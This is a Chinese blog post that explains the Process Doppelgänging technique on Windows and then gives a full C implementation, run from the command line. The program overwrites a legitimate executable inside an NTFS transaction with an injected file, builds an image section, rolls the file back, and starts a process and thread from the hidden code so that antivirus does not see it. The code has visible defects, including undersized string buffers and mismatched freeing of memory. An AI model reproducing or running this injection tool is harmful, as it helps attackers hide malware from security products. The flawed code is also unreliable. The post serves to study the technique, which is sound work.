zoukankan      html  css  js  c++  java
  • Process Doppelgänging

    进程注入:Process Doppelgänging

      攻击者可以通过Process Doppelgänging将恶意代码注入到进程中,从而逃避基于进程的防护,并且进行可能的特权提升。Process Doppelgänging是一种在单独的活动进程的地址空间中执行任意代码的方法。

      Vista中引入了Windows事务NTFS(TxF)作为执行安全文件操作的方法。为确保数据完整性,TxF仅允许一个事务处理句柄在给定时间写入同一个文件。在写句柄事务终止之前,所有其他句柄均被隔离,只能读取打开该句柄时已存在的文件的提交版本。为避免损坏,如果系统或应用程序在写事务期间发生失败,TxF将执行自动回滚。

      尽管已被弃用,但直至Windows 10,仍可使用TxF应用程序编程接口(API)。

      攻击者可能滥用TxF来执行Process Injection的无文件变体。与“Process Hollowing”类似,Process Doppelgänging通过替换合法进程的内存,使恶意代码得以隐蔽执行,从而逃避检测。Process Doppelgänging对TxF的利用也避免了使用被杀软重度监控的API功能,例如NtUnmapViewOfSectionVirtualProtectEx,和SetThreadContext

      Process Doppelgänging分为4个步骤:

    • Transact – 使用合法的可执行文件创建TxF事务,然后使用恶意代码覆盖该文件。这些更改与外部隔离,并且仅在当前事务上下文中可见;
    • Load – 从内存中创建一个共享Section用于加载覆盖后的恶意可执行文件;
    • Rollback – 撤消对原始合法可执行文件的更改,从而有效地从文件系统中清除恶意代码;
    • Animate – 从内存中恶意代码所在的Section处创建一个进程并启动执行。

      由于被注入进程是从实现注入的进程中创建的(继承了安全上下文),因此该行为应该是不会导致特权提升的。但是,由于执行过程隐藏于合法进程下,因此通过process doppelgänging执行可以避开安全产品的检测。

      在测试的时候,发现在64位系统下,32位的process doppelgänging将会失败,只能使用64位的注入;32位系统下的process doppelgänging则正常。

    #include "winntos.h"
    #include "stdio.h"
    #include "ktmw32.h"
    
    #define MAX(a, b) (a > b? a:b)
    #define MIN(a, b) (a > b? b:a)
    
    #pragma comment(lib, "ktmw32.lib")
    INT wmain(INT argc, WCHAR* argv[]) {
    
    	if (argc < 3) {
    		printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>
    
    ");
    		return 1;
    	}
    
    	NtCreateSection ntCreateSection = NULL;
    	NtCreateProcessEx ntCreateProcessEx = NULL;
    	RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
    	NtQueryInformationProcess ntQueryInformationProcess = NULL;
    	RtlInitUnicodeString rtlInitUnicodeString = NULL;
    	NtCreateThreadEx ntCreateThreadEx = NULL;
    
    	HMODULE ntdll = LoadLibrary(L"ntdll.dll");
    	if (ntdll) {
    		ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
    		if (ntCreateSection)
    			printf(" Succeed get funtion NtCreateSection Address : %#llx :)
    ", (DWORD)ntCreateSection);
    		else {
    			printf(" Fail get funtion NtCreateSection Address :(
    ");
    			return 1;
    		}
    		ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
    		if (ntCreateProcessEx)
    			printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)
    ", (DWORD)ntCreateProcessEx);
    		else {
    			printf(" Fail get funtion NtCreateProcessEx Address :(
    ");
    			return 1;
    		}
    		rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
    		if (rtlCreateProcessParametersEx)
    			printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)
    ", 
    					(DWORD)rtlCreateProcessParametersEx);
    		else {
    			printf(" Fail get funtion RtlCreateProcessParametersEx Address :(
    ");
    			return 1;
    		}
    		ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
    		if (ntQueryInformationProcess)
    			printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)
    ",
    			(DWORD)ntQueryInformationProcess);
    		else {
    			printf(" Fail get funtion NtQueryInformationProcess Address :(
    ");
    			return 1;
    		}
    		rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
    		if (rtlInitUnicodeString)
    			printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)
    ",
    			(DWORD)rtlInitUnicodeString);
    		else {
    			printf(" Fail get funtion RtlInitUnicodeString Address :(
    ");
    			return 1;
    		}
    		ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
    		if (ntCreateThreadEx)
    			printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)
    ",
    			(DWORD)ntCreateThreadEx);
    		else {
    			printf(" Fail get funtion NtCreateThreadEx Address :(
    ");
    			return 1;
    		}
    	}
    	else {
    		printf(" Load ntdll.dll Failed :(
    ");
    		return 1;
    	}
    
    	WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
    	WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
    	HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
    	CHAR *szInjBuff = NULL;
    
    	wcscpy(szSrcFile, argv[1]);
    	wcscpy(szInjectFile, argv[2]);
    
    	do {
    		hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    		if (INVALID_HANDLE_VALUE == hInjFile) {
    			if (GetLastError() == ERROR_FILE_NOT_FOUND)
    				printf(" The File To Be INJECTED NOT FOUND :(
    ");
    			else
    				printf(" OPEN injected file ERROR :(
    ");
    			break;
    		}
    
    		DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
    		szInjBuff = (CHAR*)malloc(dwInjFileSize);
    		if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
    			printf(" read injected file error :(
    ");
    			break;
    		}
    		hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
    		if (INVALID_HANDLE_VALUE == hTx) {
    			printf(" create transaction failed :(
    ");
    			break;
    		}
    
    		hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
    		if (INVALID_HANDLE_VALUE == hTransFile) {
    			printf(" append black file transacted failed :(
    ");
    			break;
    		}
    		DWORD dwWrittenBytes = 0;
    		if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
    			printf(" write target file failed :(
    ");
    			break;
    		}
    		printf(" Write To Target File success :)
    ");
    
    		hSection = NULL;
    
    		if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
    			printf(" CreateSeciotn Failed :(  %#x
    ", GetLastError());
    			break;
    		}
    		// succeed map file as image
    		printf(" CreateSeciotn Success :)
    ");
    
    		if (!RollbackTransaction(hTx)) {
    			printf(" RollBackFile Failed :(  %#x
    ", GetLastError());
    			break;
    		}
    		printf(" RollBackFile Success :)
    ");
    		hProcess = NULL;
    		hCurProcess = GetCurrentProcess();
    
    		if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
    			printf(" create process failed :( %#x
    ", GetLastError());  // 失败
    			break;
    		}
    		printf(" create process SUCCESS :)
    ");
    
    		PROCESS_BASIC_INFORMATION pbi;
    		DWORD ReturnLength = 0;
    		
    		/* 获取注入进程的PEB数据块信息 */
    		if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
    			printf(" query process pbi failed :( %#x
    ", GetLastError());
    			break;
    		}
    
    		SIZE_T size = 0, imgBase = NULL;
    		CHAR tmp[0x100] = { 0 };
    		ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size);
    
    		imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress;	// PEB获取注入进程基址
    		printf(" image base: %#llx
    ", imgBase);
    
    		PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
    		UNICODE_STRING dstUniStr;
    
    		rtlInitUnicodeString(&dstUniStr, szSrcFile);
    		if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
    			NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
    			printf(" Create ProcessParameters failed :( %#x
    ", GetLastError());
    			break;
    		}
    		printf(" Create ProcessParameters SUCCESS :)
    ");
    
    		HANDLE ThreadID = NULL;
    		LPVOID paramBaseAddr = NULL;
    		ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
    		ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
    		size = end - start;
    
    		if (!VirtualAllocEx(hProcess, (LPVOID)start, size, 
    							MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
    			printf(" VirtualAllocEx processParams failed :( %#x
    ", GetLastError());
    			break;
    		}
    		if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
    			printf(" Write USER PROCESS PARAMETERS failed :( %#x
    ", GetLastError());
    			break;
    		}
    		
    		if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
    			printf(" Write USER PROCESS PARAMETERS Address failed :( %#x
    ", GetLastError());
    			break;
    		}
    		
    		PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
    		LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
    		printf(" entry point: %#llx
    ", entry);
    
    		if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
    			(LPTHREAD_START_ROUTINE)entry,
    			NULL, FALSE, 0, 0, 0, NULL)) {
    				printf(" Create Thread failed :( %#x
    ", GetLastError());
    				break;
    		}
    		printf(" Create Thread Success :)
    ");
    		/*if (!CreateRemoteThread(hProcess, NULL, NULL,
    			(LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
    			NULL, NULL, &ThreadID)) {
    			printf(" Create Thread failed :( %#x
    ", GetLastError());
    			break;
    		}
    		printf(" remote thread id: %#x
    ", ThreadID);*/
    
    	} while (0);
    	
    	VirtualFree(szInjectFile, 0, MEM_RELEASE);
    	VirtualFree(szSrcFile, 0, MEM_RELEASE);
    	VirtualFree(szInjBuff, 0, MEM_RELEASE);
    
    	if (hTransFile)
    		CloseHandle(hTransFile);
    	if (hTx)
    		CloseHandle(hTx);
    	if (hInjFile)
    		CloseHandle(hInjFile);
    	if (hCurProcess)
    		CloseHandle(hCurProcess);
    	if (hSection)
    		CloseHandle(hSection);
    	if (hProcess)
    		CloseHandle(hProcess);
    	return 0;
    }
    

    参考:

    https://attack.mitre.org/techniques/T1055/013/

    https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

  • 相关阅读:
    Vue 全局过滤器和局部过滤器使用方式
    Vue 标签显示/隐藏的方式对比demo
    OpenSSL SSL_read: Connection was reset, errno 10054
    Vue 自定义全局指令和局部指令demo
    Vue 列表渲染demo
    Vue Class样式和style样式编写
    vue中的函数(methods),计算属性(computed),监听器(watch)的区别demo
    Vue 常用指令
    针对 WebSocket 协议的 Locust 压测脚本实现(基于 Locust 1.0 以上版本)
    Locust 脚本开发入门(4)
  • 原文地址:https://www.cnblogs.com/zUotTe0/p/13766038.html
Copyright © 2011-2022 走看看